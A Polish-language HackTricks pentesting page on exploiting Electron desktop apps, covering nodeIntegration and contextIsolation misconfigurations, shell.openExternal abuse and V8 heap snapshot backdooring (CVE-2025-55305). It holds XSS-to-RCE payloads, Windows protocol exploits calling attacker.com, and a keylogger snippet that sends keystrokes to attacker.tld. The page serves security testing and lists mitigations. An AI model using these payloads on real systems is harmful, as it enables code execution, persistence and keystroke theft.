Aplikacje desktopowe Electron
Reading time: 21 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Wprowadzenie
Electron łączy lokalny backend (z NodeJS) i frontend (Chromium), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.
Zazwyczaj kod aplikacji Electron znajdziesz wewnątrz pliku .asar
; aby uzyskać kod, musisz go wyodrębnić:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
W kodzie źródłowym aplikacji Electron, w pliku packet.json
, możesz znaleźć wskazany plik main.js
, w którym ustawiane są konfiguracje bezpieczeństwa.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron ma 2 typy procesów:
- Main Process (ma pełny dostęp do NodeJS)
- Renderer Process (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)
Proces renderer process będzie oknem przeglądarki ładującym plik:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Ustawienia procesu renderera można skonfigurować w procesie głównym w pliku main.js. Niektóre konfiguracje mogą zapobiec RCE lub innym podatnościom w aplikacji Electron, jeśli ustawienia są poprawnie skonfigurowane.
Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec:
nodeIntegration
- jest domyślnieoff
. Jeślion
, pozwala na dostęp do funkcji Node z procesu renderera.contextIsolation
- jest domyślnieon
. Jeślioff
, proces główny i proces renderera nie są izolowane.preload
- domyślnie puste.sandbox
- jest domyślnieoff
. Ograniczy działania, które NodeJS może wykonać.- Node Integration in Workers
nodeIntegrationInSubframes
- jest domyślnieoff
.- Jeśli
nodeIntegration
jest włączone, pozwoli to na użycie Node.js APIs w stronach web, które są ładowane w iframe'ach w aplikacji Electron. - Jeśli
nodeIntegration
jest wyłączone, wtedy preloads zostaną załadowane w iframe.
Przykład konfiguracji:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Niektóre RCE payloads z here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Przechwytywanie ruchu
Zmodyfikuj konfigurację start-main i dodaj użycie proxy, takiego jak:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe, że będziesz mógł sprawić, by wykonała dowolny kod javascript. Zobacz jak w:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Jeśli nodeIntegration jest ustawione na on, JavaScript strony WWW może używać funkcji Node.js po prostu wywołując require()
. Na przykład sposób uruchomienia aplikacji calc na Windows to:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Skrypt wskazany w tym ustawieniu jest załadowany przed innymi skryptami w rendererze, więc ma nieograniczony dostęp do Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Dlatego skrypt może eksportować node-features do stron:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Jeśli
contextIsolation
jest włączone, to nie zadziała
RCE: XSS + contextIsolation
The contextIsolation wprowadza oddzielne konteksty pomiędzy skryptami strony a wewnętrznym kodem JavaScript Electron, tak aby wykonanie JavaScript w jednym kontekście nie wpływało na drugi. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.
If the contexts aren't isolated an attacker can:
- Wykonać dowolny JavaScript w rendererze (XSS lub nawigacja do zewnętrznych stron)
- Nadpisać wbudowaną metodę, która jest używana w preload lub wewnętrznym kodzie Electron, aby przejąć kontrolę
- Wywołać użycie nadpisanej funkcji
- RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Ominięcie zdarzenia kliknięcia
If there are restrictions applied when you click a link you might be able to bypass them klikając środkowym przyciskiem instead of a regular left click
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Po więcej informacji o tych przykładach zobacz https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 i https://benjamin-altpeter.de/shell-openexternal-dangers/
Podczas wdrażania aplikacji desktopowej Electron prawidłowe ustawienia nodeIntegration
i contextIsolation
są kluczowe. Uznaje się, że client-side remote code execution (RCE) wymierzone w preload scripts lub natywny kod Electron z main process jest skutecznie zapobiegane przy tych ustawieniach.
Gdy użytkownik klika linki lub otwiera nowe okna, wywoływane są konkretne event listeners, które mają kluczowe znaczenie dla bezpieczeństwa i funkcjonalności aplikacji:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Te nasłuchiwacze są nadpisywane przez aplikację desktopową w celu zaimplementowania jej własnej logiki biznesowej. Aplikacja ocenia, czy nawigowany link powinien zostać otwarty wewnętrznie, czy w zewnętrznej przeglądarce. Decyzja ta jest zwykle podejmowana przez funkcję openInternally
. Jeśli funkcja ta zwróci false
, oznacza to, że link ma zostać otwarty zewnętrznie przy użyciu shell.openExternal
.
Here is a simplified pseudocode:
Electron JS security best practices zalecają, by nie akceptować niesprawdzonej zawartości za pomocą funkcji openExternal
, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Po szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odnieść się do this resource, który zawiera przykłady protokołów Windows zdolnych wykorzystać tę lukę.
W macos funkcję openExternal
można wykorzystać do wykonania dowolnych poleceń, na przykład: shell.openExternal('file:///System/Applications/Calculator.app')
.
Przykłady exploitów protokołów Windows obejmują:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + podatny preload IPC + shell.openExternal
Ta luka jest opisana w tym raporcie.
The webviewTag is a deprecated feature that allows the use of NodeJS in the renderer process, which should be disabled as it allows to load a script inside the preload context like:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Dlatego atakujący, który jest w stanie wczytać dowolną stronę, mógłby użyć tego znacznika, aby load an arbitrary preload script.
Ten preload script został następnie nadużyty, aby wywołać vulnerable IPC service (skype-new-window
), który wywoływał shell.openExternal
, aby uzyskać RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Odczyt plików wewnętrznych: XSS + contextIsolation
Wyłączenie contextIsolation
umożliwia użycie tagów <webview>
, podobnych do <iframe>
, do odczytu i eksfiltracji plików lokalnych. Podany przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:
Dalej przedstawiono inną metodę odczytu pliku wewnętrznego, wskazującą na krytyczną podatność na lokalny odczyt plików w aplikacji desktopowej Electron. Polega ona na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Stary Chromium
Jeżeli używany przez aplikację chromium jest stary i istnieją na nim znane podatności, może być możliwe wykorzystanie ich i uzyskanie RCE przez XSS.
Przykład można zobaczyć w tym omówieniu: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Zakładając, że znalazłeś XSS, ale nie możesz wywołać RCE ani ukraść wewnętrznych plików, możesz spróbować użyć go do wykradzenia poświadczeń przez phishing.
Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w front-endzie:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Wywołanie openInternally
zdecyduje, czy link zostanie otwarty w oknie aplikacji desktopowej, ponieważ jest linkiem należącym do platformy, czy zostanie otwarty w przeglądarce jako zasób 3rd party.
W przypadku gdy regex użyty przez funkcję jest podatny na obejścia (np. przez nieucieczanie znaków '.' w subdomenach), atakujący mógłby wykorzystać XSS, aby otworzyć nowe okno, które znajdowałoby się w infrastrukturze atakującego i prosić użytkownika o dane logowania:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocol
As mentioned in the docs pages running on file://
mają jednostronny dostęp do wszystkich plików na twoim komputerze, co oznacza, że błędy XSS mogą być wykorzystane do wczytania dowolnych plików z maszyny użytkownika. Użycie niestandardowego protokołu zapobiega takim problemom, ponieważ pozwala ograniczyć protokół do serwowania tylko określonego zestawu plików.
Remote module
The Electron Remote module allows renderer processes to access main process APIs, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza istotne ryzyka bezpieczeństwa. Zwiększa powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na podatności takie jak ataki cross-site scripting (XSS).
tip
Chociaż moduł remote udostępnia niektóre API z main do renderer processes, nie jest prosto uzyskać RCE jedynie przez nadużycie tych komponentów. Jednak komponenty te mogą ujawniać wrażliwe informacje.
warning
Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który require NodeIntegration to be enabled w renderer process, co stanowi ogromne ryzyko bezpieczeństwa.
Since Electron 14 the remote
module of Electron might be enabled in several steops cause due to security and performance reasons it's recommended to not use it.
Aby to włączyć, najpierw trzeba enable it in the main process:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Wówczas proces renderera może importować obiekty z modułu w ten sposób:
import { dialog, getCurrentWindow } from '@electron/remote'
blog post wskazuje na kilka interesujących funkcji udostępnionych przez obiekt app
z modułu remote:
app.relaunch([options])
- Restartuje aplikację przez zakończenie bieżącej instancji i uruchomienie nowej. Przydatne przy aktualizacjach aplikacji lub znaczących zmianach stanu.
app.setAppLogsPath([path])
- Określa lub tworzy katalog do przechowywania logów aplikacji. Logi można pobrać lub zmodyfikować używając
app.getPath()
lubapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Rejestruje bieżący plik wykonywalny jako domyślnego obsługującego dla określonego protokołu. Można podać własną ścieżkę i argumenty, jeśli to konieczne.
app.setUserTasks(tasks)
- Dodaje zadania do kategorii Tasks w Jump List (na Windows). Każde zadanie może kontrolować, jak aplikacja jest uruchamiana lub jakie argumenty są przekazywane.
app.importCertificate(options, callback)
- Importuje certyfikat PKCS#12 do systemowego magazynu certyfikatów (tylko Linux). Callback można użyć do obsługi wyniku.
app.moveToApplicationsFolder([options])
- Przenosi aplikację do folderu Applications (na macOS). Pomaga zapewnić standardową instalację dla użytkowników Mac.
app.setJumpList(categories)
- Ustawia lub usuwa niestandardowy Jump List na Windows. Można określić kategorie, aby zorganizować sposób wyświetlania zadań użytkownikowi.
app.setLoginItemSettings(settings)
- Konfiguruje, które pliki wykonywalne uruchamiane są przy logowaniu wraz z ich opcjach (tylko macOS i Windows).
Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences moduł
Główny interfejs API do uzyskiwania dostępu do ustawień systemowych i emitowania zdarzeń systemowych w Electron. Metody takie jak subscribeNotification, subscribeWorkspaceNotification, getUserDefault i setUserDefault wszystkie są częścią tego modułu.
Przykładowe użycie:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Nasłuchuje natywnych powiadomień macOS przy użyciu NSDistributedNotificationCenter.
- Przed macOS Catalina można było podsłuchiwać wszystkie rozproszone powiadomienia, przekazując nil do CFNotificationCenterAddObserver.
- Po Catalina / Big Sur aplikacje w sandboxie nadal mogą subskrybować wiele zdarzeń (np. blokady/odblokowania ekranu, montowania wolumenów, aktywność sieciową, itp.) przez rejestrowanie powiadomień po nazwie.
getUserDefault / setUserDefault
-
Komunikuje się z NSUserDefaults, który przechowuje preferencje aplikacji lub globalne na macOS.
-
getUserDefault może pobrać wrażliwe informacje, takie jak ostatnie lokalizacje plików lub geograficzne położenie użytkownika.
-
setUserDefault może modyfikować te preferencje, potencjalnie wpływając na konfigurację aplikacji.
-
W starszych wersjach Electron (przed v8.3.0) tylko standardowy zestaw NSUserDefaults był dostępny.
Shell.showItemInFolder
This function whows the given file in a file manager, which could automatically execute the file.
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Aplikacje Electron powinny mieć Content Security Policy (CSP), aby zapobiegać atakom XSS. CSP to standard bezpieczeństwa, który pomaga zapobiegać wykonywaniu niezaufanego kodu w przeglądarce.
Zazwyczaj jest konfigurowane w pliku main.js
lub w szablonie index.html
z CSP umieszczonym wewnątrz meta tagu.
For more information check:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Ten rzeczywisty łańcuch wpłynął na Visual Studio Code 1.63 (CVE-2021-43908) i pokazuje, jak pojedyncze XSS wywołane przez markdown w webview może zostać eskalowane do pełnego RCE, gdy CSP, postMessage i obsługiwacze schematów są nieprawidłowo skonfigurowane. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- Pierwsze XSS przez webview CSP: wygenerowany CSP zawierał
style-src 'self' 'unsafe-inline'
, pozwalając na inline/style-based injection w kontekścievscode-webview://
. Payload beaconed to/stealID
aby exfiltrate target webview’s extensionId. - Konstruowanie docelowego URL webview: Using the leaked ID to build
vscode-webview://<extensionId>/.../<publicUrl>
. - Drugie XSS przez zaufanie do postMessage: zewnętrzny webview ufał
window.postMessage
bez rygorystycznych sprawdzeń origin/type i ładował złośliwy HTML zallowScripts: true
. - Ładowanie lokalnego pliku przez przepisywanie schematu/ścieżki: payload przepisał
file:///...
navscode-file://vscode-app/...
i zamieniłexploit.md
naRCE.html
, wykorzystując słabą walidację ścieżek do załadowania uprzywilejowanego lokalnego zasobu. - RCE w kontekście z włączonym Node: załadowany HTML wykonywał się z dostępem do Node APIs, co dawało wykonanie poleceń systemowych.
Przykładowy prymityw RCE w końcowym kontekście
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
Dodatkowa lektura na temat problemów z zaufaniem postMessage:
Narzędzia
- Electronegativity to narzędzie do identyfikowania błędnych konfiguracji i antywzorców bezpieczeństwa w aplikacjach opartych na Electron.
- Electrolint to otwartoźródłowe rozszerzenie VS Code dla aplikacji Electron, które używa Electronegativity.
- nodejsscan do sprawdzania podatnych bibliotek stron trzecich
- Electro.ng: Wymaga zakupu
Laboratoria
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s you can find a lab to exploit vulnerable Electron apps.
Kilka poleceń, które pomogą Ci w laboratorium:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
Kluczowe punkty
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Routowanie payloadów zależne od isolate (uruchamianie różnych fragmentów kodu w main vs renderer)
- Wykrywanie procesu main: globalne obiekty dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w isolate procesu main.
- Wykrywanie Browser/renderer: globalne obiekty dostępne tylko w przeglądarce, takie jak alert, są dostępne podczas uruchamiania w kontekście dokumentu.
Przykładowy gadget, który jednorazowo sprawdza możliwości Node w procesie main
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
PoC kradzieży danych z Renderer/browser-context (np. Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Przepływ pracy operatora
- Napisz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się per isolate.
- Zbuduj snapshot bez źródeł Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- Nadpisz plik(i) snapshot docelowej aplikacji:
- v8_context_snapshot.bin (zawsze używany)
- browser_v8_context_snapshot.bin (jeśli użyty jest fuse LoadBrowserProcessSpecificV8Snapshot)
- Uruchom aplikację; gadget wykona się za każdym razem, gdy użyty zostanie wybrany builtin.
Uwagi i kwestie do rozważenia
- Integrity/signature bypass: Pliki snapshot nie są traktowane jak natywne wykonywalne przez mechanizmy sprawdzania podpisu kodu i (historycznie) nie były objęte Electron’s fuses ani kontrolami integralności Chromium.
- Persistence: Zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zwykle przetrwa restart aplikacji i wygląda jak podpisana, legalna aplikacja.
- Chromium browsers: Ten sam koncept manipulacji ma zastosowanie do Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy ochronne integralności, ale wyraźnie wyłącza fizycznie lokalne ataki ze swojego modelu zagrożeń.
Wykrywanie i środki zaradcze
- Traktuj snapshots jako zawartość wykonywalną i uwzględnij je w egzekwowaniu integralności (fix CVE-2025-55305).
- Preferuj lokalizacje instalacji zapisywalne tylko przez admina; ustal bazowe hashe i monitoruj v8_context_snapshot.bin oraz browser_v8_context_snapshot.bin.
- Wykrywaj wczesnoruntimeowe nadpisywanie builtinów oraz nieoczekiwane zmiany snapshotów; generuj alerty, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami.
References
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
- Electron fuses
- Electron ASAR integrity
- V8 custom startup snapshots
- electron/mksnapshot
- MITRE ATT&CK T1218.015
- Loki C2
- Chromium: Disable loading of unsigned code (CIG)
- Chrome security FAQ: physically local attacks out of scope
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.